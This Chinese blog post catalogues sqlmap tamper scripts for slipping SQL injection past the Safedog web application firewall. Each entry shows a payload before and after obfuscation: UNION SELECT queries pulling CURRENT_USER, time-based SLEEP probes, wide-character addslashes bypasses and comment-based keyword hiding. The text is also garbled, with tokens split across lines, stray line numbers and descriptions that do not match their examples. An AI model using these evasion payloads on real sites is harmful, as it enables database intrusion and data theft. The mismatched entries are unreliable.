sqlmap脚本绕安全狗

  • Post author:
  • Post category:其他




脚本名:apostrophemask.py

作用:用utf8代替引号《

Example: (


"1 AND '1'='1"


) '1


AND


%EF%BC%871%EF%BC%87=%EF%BC%871'

作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论


Example:

(


"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"


)


"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

脚本名:space2morehash.py

作用:在有效负荷结束位置加载零字节字符编码


Example:


(


'IFNULL(1, 2)'


)


'IF(ISNULL(1),2,1)'

脚本名:space2mssqlblank.py(mssql)

Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名:base64encode.py


作用:用base64编码替换 Example: (“1′ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名:space2mssqlhash.py


作用:替换空格

1

Example: (


'1 AND 9227=9227'


)


'1%23%0AAND%23%0A9227=9227'


Requirement: * MSSQL * MySQL

脚本名:modsecurityversioned.py


作用:过滤空格,包含完整的查询版本注释

1

Example: (


'1 AND 2>1--'


)


'1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名:space2mysqlblank.py


作用:空格替换其它空白符号(mysql)

1
2
3
4
5

Example:

* Input:


SELECT


id


FROM


users

*


Output


:


SELECT


%0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名:between.py


作用:用between替换大于号(>)

1

Example: (


'1 AND A > B--'


)


'1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名:space2mysqldash.py


作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)

注:之前有个mssql的 这个是mysql的

1

Example: (


'1 AND 9227=9227'


)


'1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

脚本名:multiplespaces.py


作用:围绕SQL关键字添加多个空格

1

Example: (


'1 UNION SELECT foobar'


)


'1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名:space2plus.py


作用:用+替换空格

1

Example: (


'SELECT id FROM users'


)


'SELECT+id+FROM+users'


Tested against:


all

脚本名:bluecoat.py


作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

1

Example: (


'SELECT id FROM users where id = 1'


)


'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名:nonrecursivereplacement.py


双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1

Example: (


'1 UNION SELECT 2--'


)


'1 UNIOUNIONN SELESELECTCT 2--'


Tested against:


all

脚本名:space2randomblank.py


作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集

1

Example: (


'SELECT id FROM users'


)


'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名:sp_password.py


作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1

Example: (


'1 AND 9227=9227-- '


)


'1 AND 9227=9227-- sp\_password'


Requirement: * MSSQL

脚本名:chardoubleencode.py


作用: 双url编码(不处理以编码的)

1
2
3
4
5

Example:

* Input:


SELECT


FIELD


FROM


%20TABLE

*


Output


: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名:unionalltounion.py


作用:替换UNION ALL SELECT UNION SELECT

Example: (‘-1 UNION ALL SELECT’) ‘-1 UNION SELECT’

Requirement: all

脚本名:charencode.py


作用:url编码

1
2
3
4
5

Example:

*   Input:


SELECT


FIELD


FROM


%20TABLE

*


Output


: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:randomcase.py


作用:随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名:unmagicquotes.py


作用:宽字符绕过 GPC addslashes

1
2
3
4
5

Example:

* Input: 1′


AND


1=1

*


Output


: 1%bf%27


AND


1=1–%20

脚本名:randomcomments.py


作用:用/**/分割sql关键字

1
2
3

Example:




INSERT


’ becomes ‘


IN


//S//ERT’

脚本名:charunicodeencode.py


作用:字符串 unicode 编码

1
2
3
4
5

Example:

* Input:


SELECT


FIELD%20FROM


TABLE

*


Output


: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名:securesphere.py


作用:追加特制的字符串

1

Example: (


'1 AND 1=1'


)


"1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名:versionedmorekeywords.py


作用:注释绕过

1
2
3
4
5

Example:

* Input: 1


UNION


ALL


SELECT


NULL


,


NULL


, CONCAT(


CHAR


(58,122,114,115,58),IFNULL(


CAST


(


CURRENT_USER


()


AS


CHAR


),


CHAR


(32)),


CHAR


(58,115,114,121,58))#

*


Output


: 1/*!


UNION


**!


ALL


**!


SELECT


**!


NULL


*/,/*!


NULL


*/,/*!CONCAT*/(/*!


CHAR


*/(58,122,114,115,58),/*!IFNULL*/(


CAST


(/*!


CURRENT_USER


*/()/*!


AS


**!


CHAR


*/),/*!


CHAR


*/(32)),/*!


CHAR


*/(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名:space2comment.py


作用:Replaces space character (‘ ‘) with comments ‘/**/’

1
2
3
4
5

Example:

* Input:


SELECT


id


FROM


users

*


Output


:


SELECT


//id//


FROM


/**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名:halfversionedmorekeywords.py


作用:关键字前加注释

1
2
3
4
5

Example:

* Input: value’


UNION


ALL


SELECT


CONCAT(


CHAR


(58,107,112,113,58),IFNULL(


CAST


(


CURRENT_USER


()


AS


CHAR


),


CHAR


(32)),


CHAR


(58,97,110,121,58)),


NULL


,


NULL


#


AND


‘QDWa’=


'QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='


QDWa



版权声明:本文为Hq_Dream原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。